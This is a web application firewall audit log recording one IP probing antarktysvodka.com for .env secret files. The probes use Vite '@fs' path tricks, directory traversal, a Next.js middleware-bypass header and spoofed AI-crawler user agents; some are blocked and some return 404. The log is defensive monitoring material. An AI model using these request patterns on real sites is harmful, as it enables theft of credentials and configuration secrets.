Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPmM7dE9KgIIOpQh0EwAAANE"]
Action: Intercepted (phase 2)
Stopwatch: 1789290558021155 59270 (- - -)
Stopwatch2: 1789290558021155 59270; combined=55273, p1=785, p2=54157, p3=0, p4=0, p5=331, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d9fb2a54-Z--

--140d4341-A--
[13/Sep/2026:12:09:18.128484 +0300] aqZoPkwu1RSkptiiNIX4GAAAAJI 34.73.246.242 56288 127.0.0.1 7081
--140d4341-B--
GET /.env.local?import&raw HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--140d4341-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--140d4341-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:import=&raw=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPkwu1RSkptiiNIX4GAAAAJI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPkwu1RSkptiiNIX4GAAAAJI"]
Action: Intercepted (phase 2)
Stopwatch: 1789290558073536 55005 (- - -)
Stopwatch2: 1789290558073536 55005; combined=53732, p1=254, p2=53104, p3=0, p4=0, p5=374, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--140d4341-Z--

--ef69ca48-A--
[13/Sep/2026:12:09:18.484307 +0300] aqZoPkwu1RSkptiiNIX4GgAAAIw 34.73.246.242 56340 127.0.0.1 7081
--ef69ca48-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ef69ca48-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ef69ca48-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:import=&raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZoPkwu1RSkptiiNIX4GgAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZoPkwu1RSkptiiNIX4GgAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789290558408022 76346 (- - -)
Stopwatch2: 1789290558408022 76346; combined=75002, p1=252, p2=74406, p3=0, p4=0, p5=344, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ef69ca48-Z--

--af722949-A--
[13/Sep/2026:12:09:18.544982 +0300] aqZoPjTJ6xTvcJoem7f6cQAAAEI 34.73.246.242 56326 127.0.0.1 7081
--af722949-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--af722949-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--af722949-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/app/.env"] [unique_id "aqZoPjTJ6xTvcJoem7f6cQAAAEI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558368266 176790 (- - -)
Stopwatch2: 1789290558368266 176790; combined=3847, p1=226, p2=3567, p3=0, p4=0, p5=54, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--af722949-Z--

--e27fa508-A--
[13/Sep/2026:12:09:18.560977 +0300] aqZoPkwu1RSkptiiNIX4HAAAAI0 34.73.246.242 56370 127.0.0.1 7081
--e27fa508-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e27fa508-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e27fa508-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPkwu1RSkptiiNIX4HAAAAI0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558484922 76130 (- - -)
Stopwatch2: 1789290558484922 76130; combined=4165, p1=220, p2=3893, p3=0, p4=0, p5=52, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e27fa508-Z--

--569b150e-A--
[13/Sep/2026:12:09:18.564513 +0300] aqZoPjTJ6xTvcJoem7f6cgAAAFU 34.73.246.242 56368 127.0.0.1 7081
--569b150e-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--569b150e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--569b150e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/@fs/src/.env"] [unique_id "aqZoPjTJ6xTvcJoem7f6cgAAAFU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558447645 116941 (- - -)
Stopwatch2: 1789290558447645 116941; combined=3906, p1=209, p2=3645, p3=0, p4=0, p5=51, sr=72, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--569b150e-Z--

--e0ba8e23-A--
[13/Sep/2026:12:09:18.690195 +0300] aqZoPisVWymXUono-eRUyQAAABA 34.73.246.242 56384 127.0.0.1 7081
--e0ba8e23-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e0ba8e23-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e0ba8e23-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoPisVWymXUono-eRUyQAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558615338 74973 (- - -)
Stopwatch2: 1789290558615338 74973; combined=3285, p1=299, p2=2903, p3=0, p4=0, p5=83, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e0ba8e23-Z--

--fb953638-A--
[13/Sep/2026:12:09:18.709229 +0300] aqZoPisVWymXUono-eRUygAAAAM 34.73.246.242 56390 127.0.0.1 7081
--fb953638-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--fb953638-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fb953638-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:.svg?.wasm?init=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPisVWymXUono-eRUygAAAAM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoPisVWymXUono-eRUygAAAAM"]
Action: Intercepted (phase 2)
Stopwatch: 1789290558648194 61090 (- - -)
Stopwatch2: 1789290558648194 61090; combined=59743, p1=233, p2=59214, p3=0, p4=0, p5=295, sr=82, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb953638-Z--

--ced28e45-A--
[13/Sep/2026:12:09:18.810133 +0300] aqZoPisVWymXUono-eRUywAAAAA 34.73.246.242 56394 127.0.0.1 7081
--ced28e45-B--
GET /public../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ced28e45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ced28e45-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/public../.env"] [unique_id "aqZoPisVWymXUono-eRUywAAAAA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558677038 133168 (- - -)
Stopwatch2: 1789290558677038 133168; combined=4792, p1=220, p2=4036, p3=0, p4=0, p5=535, sr=76, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ced28e45-Z--

--9c624d47-A--
[13/Sep/2026:12:09:18.815987 +0300] aqZoPmM7dE9KgIIOpQh0FwAAANA 34.73.246.242 56406 127.0.0.1 7081
--9c624d47-B--
GET /dist../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9c624d47-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--9c624d47-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/dist../.env"] [unique_id "aqZoPmM7dE9KgIIOpQh0FwAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558713435 102616 (- - -)
Stopwatch2: 1789290558713435 102616; combined=24938, p1=241, p2=24641, p3=0, p4=0, p5=55, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9c624d47-Z--

--f6e59a1d-A--
[13/Sep/2026:12:09:18.826291 +0300] aqZoPisVWymXUono-eRUzAAAAAY 34.73.246.242 56412 127.0.0.1 7081
--f6e59a1d-B--
GET /build../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f6e59a1d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f6e59a1d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/build../.env"] [unique_id "aqZoPisVWymXUono-eRUzAAAAAY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558721279 105078 (- - -)
Stopwatch2: 1789290558721279 105078; combined=4099, p1=207, p2=3842, p3=0, p4=0, p5=50, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f6e59a1d-Z--

--5ace384f-A--
[13/Sep/2026:12:09:18.852396 +0300] aqZoPmM7dE9KgIIOpQh0GAAAANI 34.73.246.242 56414 127.0.0.1 7081
--5ace384f-B--
GET /js../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
